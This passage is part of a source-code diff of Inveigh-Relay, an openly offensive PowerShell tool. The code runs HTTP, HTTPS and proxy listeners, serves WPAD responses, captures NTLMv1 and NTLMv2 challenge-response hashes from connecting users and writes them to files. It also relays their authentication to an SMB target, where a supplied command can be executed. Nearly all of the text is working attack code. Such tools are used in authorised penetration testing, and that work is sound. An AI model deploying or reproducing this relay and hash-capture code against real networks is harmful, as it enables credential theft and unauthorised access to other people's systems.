$inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) - $inveigh.SMBRelay_failed_list.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget") - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - - } - else - { - $inveigh.console_queue.Add("NTLMv1 SMB relay not yet supported") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - NTLMv1 relay not yet supported")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay target is not responding") } - else + + if($inveigh.log_output) { - $inveigh.console_queue.Add("Aborting SMB relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay target is not responding") + } + + } + + if($relay_step -eq 1) + { + $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes $SMB_version + + if($SMB_relay_bytes.Length -le 3) + { + $relay_step = 0 + $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + } + + } + + if($relay_step -eq 1) + { + $SMB_user_ID = $SMB_relay_bytes[34..33] + $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes) + $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-","" + $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000") + $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2 + $SMB_domain_length = DataLength2 ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes + $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)] + $SMB_target_length = DataLength2 ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes + $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)] + $SMB_relay_target_flag = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 22)] + $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)] + $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] + $SMB_session_ID = $SMB_relay_bytes[44..51] + + if([System.BitConverter]::ToString($SMB_relay_bytes[4..7]) -eq 'ff-53-4d-42') + { + $SMB_version -eq 'SMB1' + } + + $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00 + + $SMB_domain_length_offset_bytes + + 0x05,0x82 + + $SMB_relay_target_flag + + 0xa2 + + $SMB_relay_NTLM_challenge + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $SMB_target_length_offset_bytes + + $SMB_relay_target_details + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes + $inveigh.HTTP_challenge_queue.Add($HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + ',' + $NTLM_challenge) + $inveigh.console_queue.Add("Received challenge $NTLM_challenge for relay from $Target") + $inveigh.console_queue.Add("Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") + $relay_step = 2 + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $Target") + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $Target") + $inveigh.log.Add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") } } else { - $inveigh.console_queue.Add("Aborting SMB relay since $HTTP_NTLM_user_string appears to be a machine account") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() + $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port } } else { - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on SMB relay username list") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() + $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port } } + elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') + { + $HTTP_NTLM_length = DataLength2 20 $HTTP_request_bytes + $HTTP_NTLM_offset = DataLength4 24 $HTTP_request_bytes + $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes + $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes + [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + '*' + $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) + $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) + + if($HTTP_NTLM_domain_length -eq 0) + { + $HTTP_NTLM_domain_string = '' + } + else + { + $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes + } + + $HTTP_NTLM_user_length = DataLength2 36 $HTTP_request_bytes + $HTTP_NTLM_user_offset = DataLength4 40 $HTTP_request_bytes + + if($HTTP_NTLM_user_length -gt 0) + { + $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes + } + else + { + $HTTP_NTLM_user_string = "" + } + $HTTP_NTLM_host_length = DataLength2 44 $HTTP_request_bytes + $HTTP_NTLM_host_offset = DataLength4 48 $HTTP_request_bytes + $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes + + if($HTTP_NTLM_length -eq 24) # NTLMv1 + { + $NTLM_type = "NTLMv1" + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(48,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) + { + $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type $NTLM_type challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type $NTLM_type challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + } + else + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) + { + $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) + $inveigh.console_queue.Add("$HTTP_type $NTLM_type challenge/response written to " + $inveigh.NTLMv1_out_file) + } + + if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + { + $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + } + + } + + } + else # NTLMv2 + { + $NTLM_type = "NTLMv2" + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(32,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) + { + $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if($inveigh.log_output) + { + $inveigh.log.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + } + else + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) + { + $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) + $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + } + + if($inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + { + $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + } + + } + + } + + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_client_close = $true + $NTLM_challenge = "" + + if($inveigh.SMB_relay -and $relay_step -eq 2) + { + + if(!$Usernames -or $Usernames -contains $HTTP_NTLM_user_string -or $Usernames -contains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + { + + if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$'))) + { + + if($inveigh.SMBRelay_failed_list -notcontains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $Target") + { + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $Target") + } + + $inveigh.console_queue.Add("Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $Target") + SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_version $SMB_user_ID $SMB_session_ID + $relay_step = 0 + + } + else + { + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $Target") + } + + $inveigh.console_queue.Add("Aborting SMB relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $Target") + $SMB_relay_socket.Close() + $relay_step = 0 + } + + } + else + { + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account") + } + + $inveigh.console_queue.Add("Aborting SMB relay since $HTTP_NTLM_user_string appears to be a machine account") + $SMB_relay_socket.Close() + $relay_step = 0 + } + + } + else + { + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list") + } + + $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on SMB relay username list") + $SMB_relay_socket.Close() + $relay_step = 0 + } + + } + + if($proxy_listener) + { + $HTTP_send = $false + } + + } + else + { + $HTTP_client_close = $false + } + + } + + if(!$proxy_listener -and $WPADResponse -and $HTTP_request_raw_URL -match '/wpad.dat' -and (!$ProxyIgnore -or !($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) + { + $HTTP_message = $WPADResponse + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") + } + + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + $HTTP_header_content_length = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) + $HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + + if($HTTP_request_raw_URL -notmatch '/wpad.dat' -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$HTTP_client_close) + { + $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes($NTLM) + } + + $packet_HTTPResponse = New-Object System.Collections.Specialized.OrderedDictionary + $packet_HTTPResponse.Add("HTTPResponse_RequestVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) + $packet_HTTPResponse.Add("HTTPResponse_StatusCode",$HTTP_response_status_code + [Byte[]](0x20)) + $packet_HTTPResponse.Add("HTTPResponse_ResponsePhrase",$HTTP_response_phrase + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_Server",[Byte[]](0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_TimeStamp",[Byte[]](0x44,0x61,0x74,0x65,0x3a,0x20) + $HTTP_timestamp + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_ContentLength",$HTTP_header_content_length + [Byte[]](0x0d,0x0a)) + + if($HTTP_header_authenticate -and $HTTP_header_authenticate_data) + { + $packet_HTTPResponse.Add("HTTPResponse_AuthenticateHeader",$HTTP_header_authenticate + $HTTP_header_authenticate_data + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_header_content_type) + { + $packet_HTTPResponse.Add("HTTPResponse_ContentType",$HTTP_header_content_type + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_header_cache_control) + { + $packet_HTTPResponse.Add("HTTPResponse_CacheControl",$HTTP_header_cache_control + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_send) + { + $packet_HTTPResponse.Add("HTTPResponse_Message",[Byte[]](0x0d,0x0a) + $HTTP_message_bytes) + $HTTP_response = ConvertFrom-PacketOrderedDictionary $packet_HTTPResponse + $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) + $HTTP_stream.Flush() + } + + Start-Sleep -m 10 + $HTTP_request_raw_URL_old = $HTTP_request_raw_URL + $HTTP_client_handle_old = $HTTP_client.Client.Handle + + if($HTTP_client_close) + { + + if($proxy_listener) + { + $HTTP_client.Client.Close() + } + else + { + $HTTP_client.Close() + } + + } + + } + else + { + + if($HTTP_data_available -or !$HTTP_reset_delay -or $HTTP_reset_delay_stopwatch.Elapsed -ge $HTTP_reset_delay_timeout) + { + $HTTP_client.Close() + $HTTP_client_close = $true + $HTTP_reset_delay = $false } else { - $NTLM = 'NTLM' + Start-Sleep -m 100 } - + } - - [Byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) - $inveigh.response.ContentLength64 = $HTTP_buffer.Length - $inveigh.response.AddHeader("WWW-Authenticate",$NTLM) - $HTTP_stream = $inveigh.response.OutputStream - $HTTP_stream.Write($HTTP_buffer,0,$HTTP_buffer.Length) - $HTTP_stream.close() + } - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() + $HTTP_client.Close() + start-sleep -s 1 + $HTTP_listener.Server.blocking = $false + Start-Sleep -s 1 + $HTTP_listener.Server.Close() + Start-Sleep -s 1 + $HTTP_listener.Stop() } +# Control Relay Loop ScriptBlock $control_relay_scriptblock = { - param ($RunTime) + param ($ConsoleQueueLimit,$RelayAutoExit,$RunTime) + + function StopInveigh + { + param ([String]$exit_message) + + if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) + { + + try + { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + + ForEach($certificate in $certificates) + { + $certificate_store.Remove($certificate) + } + + $certificate_store.Close() + } + catch + { + $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + } + + } + + } + + if($inveigh.running) + { + Start-Sleep -S 1 + $inveigh.console_queue.Add("Inveigh exited at $(Get-Date -format 's')") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") + } + + Start-Sleep -S 1 + $inveigh.running = $false + } + + if($inveigh.relay_running) + { + Start-Sleep -S 1 + $inveigh.console_queue.Add("Inveigh Relay exited due to $exit_message at $(Get-Date -format 's')") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") + } + + Start-Sleep -S 1 + $inveigh.relay_running = $false + + } + + $inveigh.HTTPS = $false + } if($RunTime) { - $control_timeout = New-Timespan -Minutes $RunTime + $control_timeout = New-TimeSpan -Minutes $RunTime $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() } - while ($inveigh.relay_running) + while($inveigh.relay_running) { + + if($RelayAutoExit -eq 'Y' -and !$inveigh.SMB_relay) + { + Start-Sleep -S 5 + StopInveigh "disabled relay" + } if($RunTime) { if($control_stopwatch.Elapsed -ge $control_timeout) { - - if($inveigh.HTTP_listener.IsListening) - { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() - } - - $inveigh.console_queue.Add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) - Start-Sleep -m 5 - $inveigh.relay_running = $false - - if($inveigh.HTTPS) - { - & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = $certificate_store.certificates.Find("FindByThumbprint",$inveigh.certificate_thumbprint,$false)[0] - $certificate_store.Remove($certificate) - $certificate_store.Close() - } - catch - { - - if($inveigh.status_output) - { - $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") - } - - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } - - } - - } - - $inveigh.HTTP = $false - $inveigh.HTTPS = $false + StopInveigh "run time" } } - if($inveigh.file_output -and (!$inveigh.running -or !$inveigh.bruteforce_running)) + if($inveigh.file_output -and -not $inveigh.control) { while($inveigh.log_file_queue.Count -gt 0) { $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveRange(0,1) + $inveigh.log_file_queue.RemoveAt(0) } while($inveigh.NTLMv1_file_queue.Count -gt 0) { $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveRange(0,1) + $inveigh.NTLMv1_file_queue.RemoveAt(0) } while($inveigh.NTLMv2_file_queue.Count -gt 0) { $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveRange(0,1) + $inveigh.NTLMv2_file_queue.RemoveAt(0) } while($inveigh.cleartext_file_queue.Count -gt 0) { $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveRange(0,1) + $inveigh.cleartext_file_queue.RemoveAt(0) + } + + while($inveigh.form_input_file_queue.Count -gt 0) + { + $inveigh.form_input_file_queue[0]|Out-File $inveigh.form_input_out_file -Append + $inveigh.form_input_file_queue.RemoveAt(0) } } + if(!$inveigh.console_output -and $ConsoleQueueLimit -ge 0) + { + + while($inveigh.console_queue.Count -gt $ConsoleQueueLimit -and !$inveigh.console_output) + { + $inveigh.console_queue.RemoveAt(0) + } + + } + Start-Sleep -m 5 } } -# HTTP/HTTPS Listener Startup function +# HTTP Listener Startup Function function HTTPListener() { - $inveigh.HTTP_listener = New-Object System.Net.HttpListener - - if($inveigh.HTTP) - { - $inveigh.HTTP_listener.Prefixes.Add('http://*:80/') - } - - if($inveigh.HTTPS) - { - $inveigh.HTTP_listener.Prefixes.Add('https://*:443/') - } - - $inveigh.HTTP_listener.AuthenticationSchemes = "Anonymous" - $inveigh.HTTP_listener.Start() + $HTTPS_listener = $false + $proxy_listener = $false $HTTP_runspace = [RunspaceFactory]::CreateRunspace() $HTTP_runspace.Open() $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) $HTTP_powershell = [PowerShell]::Create() $HTTP_powershell.Runspace = $HTTP_runspace $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTP_powershell.AddScript($irkin_functions_scriptblock) > $null $HTTP_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument( - $SMBRelayTarget).AddArgument($SMBRelayCommand).AddArgument($SMBRelayUsernames).AddArgument( - $SMBRelayAutoDisable).AddArgument($SMBRelayNetworkTimeout).AddArgument($WPADAuth) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Command).AddArgument( + $HTTPIP).AddArgument($HTTPPort).AddArgument($HTTPResetDelay).AddArgument( + $HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( + $Service).AddArgument($SMB_version).AddArgument($Target).AddArgument($Usernames).AddArgument( + $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null $HTTP_powershell.BeginInvoke() > $null } -# Control Relay Startup function +Start-Sleep -m 50 + +# HTTPS Listener Startup Function +function HTTPSListener() +{ + $HTTPS_listener = $true + $proxy_listener = $false + $HTTPS_runspace = [RunspaceFactory]::CreateRunspace() + $HTTPS_runspace.Open() + $HTTPS_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTPS_powershell = [PowerShell]::Create() + $HTTPS_powershell.Runspace = $HTTPS_runspace + $HTTPS_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($irkin_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null + $HTTPS_powershell.AddScript($SMB_relay_response_scriptblock) > $null + $HTTPS_powershell.AddScript($SMB_relay_execute_scriptblock) > $null + $HTTPS_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Command).AddArgument( + $HTTPIP).AddArgument($HTTPSPort).AddArgument($HTTPResetDelay).AddArgument( + $HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( + $Service).AddArgument($SMB_version).AddArgument($Target).AddArgument($Usernames).AddArgument( + $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null + $HTTPS_powershell.BeginInvoke() > $null +} + +Start-Sleep -m 50 + +# Proxy Listener Startup Function +function ProxyListener() +{ + $HTTPS_listener = $false + $proxy_listener = $true + $proxy_runspace = [RunspaceFactory]::CreateRunspace() + $proxy_runspace.Open() + $proxy_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $proxy_powershell = [PowerShell]::Create() + $proxy_powershell.Runspace = $proxy_runspace + $proxy_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $proxy_powershell.AddScript($irkin_functions_scriptblock) > $null + $proxy_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null + $proxy_powershell.AddScript($SMB_relay_response_scriptblock) > $null + $proxy_powershell.AddScript($SMB_relay_execute_scriptblock) > $null + $proxy_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null + $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Command).AddArgument( + $ProxyIP).AddArgument($ProxyPort).AddArgument($HTTPResetDelay).AddArgument( + $HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( + $Service).AddArgument($SMB_version).AddArgument($Target).AddArgument($Usernames).AddArgument( + $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null + $proxy_powershell.BeginInvoke() > $null +} + +# Control Relay Startup Function function ControlRelayLoop() { $control_relay_runspace = [RunspaceFactory]::CreateRunspace() @@ -1530,101 +3858,250 @@ function ControlRelayLoop() $control_relay_powershell = [PowerShell]::Create() $control_relay_powershell.Runspace = $control_relay_runspace $control_relay_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($RunTime) > $null + 